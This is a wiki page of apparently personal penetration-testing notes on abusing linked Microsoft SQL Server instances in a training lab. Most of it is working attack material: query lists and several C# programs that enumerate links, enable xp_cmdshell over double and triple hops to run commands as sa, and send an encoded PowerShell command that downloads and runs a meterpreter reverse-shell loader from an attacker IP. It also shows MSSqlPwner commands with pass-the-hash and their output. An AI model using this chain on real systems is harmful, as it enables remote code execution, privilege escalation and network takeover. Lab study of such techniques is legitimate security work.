* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
